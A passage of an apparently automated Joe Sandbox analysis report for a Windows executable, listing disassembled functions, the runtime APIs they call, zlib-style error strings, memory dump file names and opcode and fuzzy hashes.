                                                                                                                                                                                                                                          Function 00007FF79D075C70 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075CB5
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D075608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D07561C
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9CE
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A9B8: GetLastError.KERNEL32(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9D8
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A970: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF79D06A94F,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06A979
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A970: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF79D06A94F,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06A99E
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075CA4
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D075668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D07567C
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075F1A
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075F2B
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075F3C
                                                                                                                                                                                                                                          • GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF79D07617C), ref: 00007FF79D075F63
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 4070488512-0
                                                                                                                                                                                                                                          • Opcode ID: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
                                                                                                                                                                                                                                          • Instruction ID: 2a225cea31d28df676790b2e51d949e71c06f322f0b260bad4a5b70b4d5d0948
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 97D1BD22E0C24286E734FF3AD8555B9A761FB54784FC48136EA8D4B796FE3CE8418760
                                                                                                                                                                                                                                          Function 00007FF79D06A684 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1239891234-0
                                                                                                                                                                                                                                          • Opcode ID: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
                                                                                                                                                                                                                                          • Instruction ID: a95f6ef81416dee8e1a2c5f48aa84ce8453cc7b6863c3877e40d00f0d35b829f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: A1315F32618F8186DB70AF39E8402AEB3A4FB88758F940135EA9D47B54EF3CD555CB10
                                                                                                                                                                                                                                          Function 00007FF79D0718E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: FileFindFirst_invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2227656907-0
                                                                                                                                                                                                                                          • Opcode ID: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
                                                                                                                                                                                                                                          • Instruction ID: 44ccba6891457aea342973e21a147b1cfa4ed0494afb7ceee9840b0c439ebe19
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: EDB19422B1C69241EA71AB79A8041B9E391EB44BE4FD46131DADD1BBC5FE7CE441C321
                                                                                                                                                                                                                                          Function 00007FF79D075EEC Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075F1A
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D075668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D07567C
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075F2B
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D075608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D07561C
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075F3C
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D075638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D07564C
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9CE
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A9B8: GetLastError.KERNEL32(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9D8
                                                                                                                                                                                                                                          • GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF79D07617C), ref: 00007FF79D075F63
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3458911817-0
                                                                                                                                                                                                                                          • Opcode ID: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
                                                                                                                                                                                                                                          • Instruction ID: a5f1a7a60b00f5071789bb277c03dbebdee9922df94008e49d9f89a379fdfca0
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: E5514132E0C64286E730FF79D8915B9A751BB58784FC44135DA8D8B796EF3CE4408B60
                                                                                                                                                                                                                                          Function 00007FF79D05D080 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2933794660-0
                                                                                                                                                                                                                                          • Opcode ID: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
                                                                                                                                                                                                                                          • Instruction ID: 04c053c80f8b8134541e057ba65b19bc16c3c980e065eb2f71aa08ffa335930b
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DB114822B18B058AEB10DF74EC442B973A4FB19758F840E31DAAD867A4EF38D1958350
                                                                                                                                                                                                                                          Function 00007FF79D073C80 Relevance: 4.8, APIs: 3, Instructions: 340COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: memcpy_s
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1502251526-0
                                                                                                                                                                                                                                          • Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
                                                                                                                                                                                                                                          • Instruction ID: f53cb1a12da4333683bfb3a88899b6cf0fe6ad77bf303a139977343f16012219
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 92C1D272B1C68687E7349F6AA44467EF7A1F794784F848134DB9A4B784EB3DE900CB40
                                                                                                                                                                                                                                          Function 00007FF79D05A4E4 Relevance: 4.1, Strings: 3, Instructions: 398COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: $header crc mismatch$unknown header flags set
                                                                                                                                                                                                                                          • API String ID: 0-1127688429
                                                                                                                                                                                                                                          • Opcode ID: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
                                                                                                                                                                                                                                          • Instruction ID: a5eb7c6c6c822f2656e68785ae7170e7d9ac3af3c36858c6c49731bc9fe45c3a
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 13F1A372A0C3D64AE7B5AF2E8088B3EBAA9FF45744F454538DE8917390EB38E540C750
                                                                                                                                                                                                                                          Function 00007FF79D079798 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ExceptionRaise_clrfp
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 15204871-0
                                                                                                                                                                                                                                          • Opcode ID: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
                                                                                                                                                                                                                                          • Instruction ID: 96a8e1745d91e48a1e083bb4d2cdf8a4bec28d2fbcaeb482b674bba41dab524b
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7DB17C73A09B898BEB25CF3DD8463AC7BA0F784B48F548821DA9D877A4DB39D451C710
                                                                                                                                                                                                                                          Function 00007FF79D063A14 Relevance: 2.8, Strings: 2, Instructions: 350COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: $
                                                                                                                                                                                                                                          • API String ID: 0-227171996
                                                                                                                                                                                                                                          • Opcode ID: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
                                                                                                                                                                                                                                          • Instruction ID: 56713dd20553cb0dd86dbf374a1b799a87a24bad9dfb1be764078816aa846a27
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2DE1B532B0CA4A81EB78AEFD905017DA3A0EF45B54FD85335DA8E076D4EF29D841C7A0
                                                                                                                                                                                                                                          Function 00007FF79D05A34B Relevance: 2.7, Strings: 2, Instructions: 216COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: incorrect header check$invalid window size
                                                                                                                                                                                                                                          • API String ID: 0-900081337
                                                                                                                                                                                                                                          • Opcode ID: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
                                                                                                                                                                                                                                          • Instruction ID: b40bcec4b2822b69a4131e1e7ca07d3b1d02b7fa338dc854884a2a8805942d81
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: D191D572A1C2868BE7B59E2EC448B3E7AA9FB44344F514139DE8A567C0EB38F540CB10
                                                                                                                                                                                                                                          Function 00007FF79D06DF60 Relevance: 2.6, Strings: 2, Instructions: 144COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: e+000$gfff
                                                                                                                                                                                                                                          • API String ID: 0-3030954782
                                                                                                                                                                                                                                          • Opcode ID: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
                                                                                                                                                                                                                                          • Instruction ID: 7bcdad09c1dfad8013395791df25add4c0557b380a5a82474f5b9ef6174d3e0d
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8D513572B1CBC586E7349E79980476DAB91E744B94FC8C331CB984BAC5EE3EE4858710
                                                                                                                                                                                                                                          Function 00007FF79D06DACC Relevance: 1.5, Strings: 1, Instructions: 254COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: gfffffff
                                                                                                                                                                                                                                          • API String ID: 0-1523873471
                                                                                                                                                                                                                                          • Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
                                                                                                                                                                                                                                          • Instruction ID: db1f8583e6d3a6b677acdbb90efdd754dde25277a4e37797c4abbafc6f7230c6
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0DA13762B0CB8A46EB31EF79A4007A9BB91FB54794F848231DE8D47785EE3DD501C720
                                                                                                                                                                                                                                          Function 00007FF79D068804 Relevance: 1.4, Strings: 1, Instructions: 177COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: TMP
                                                                                                                                                                                                                                          • API String ID: 3215553584-3125297090
                                                                                                                                                                                                                                          • Opcode ID: 206b8dd2323f0c32a07340ca02c5d8af7a3d2d7b1f0478edb605941266a0e502
                                                                                                                                                                                                                                          • Instruction ID: 6fee3deb10a340d34aee0082bdf3502b17c47010e03682d016375d53a7543941
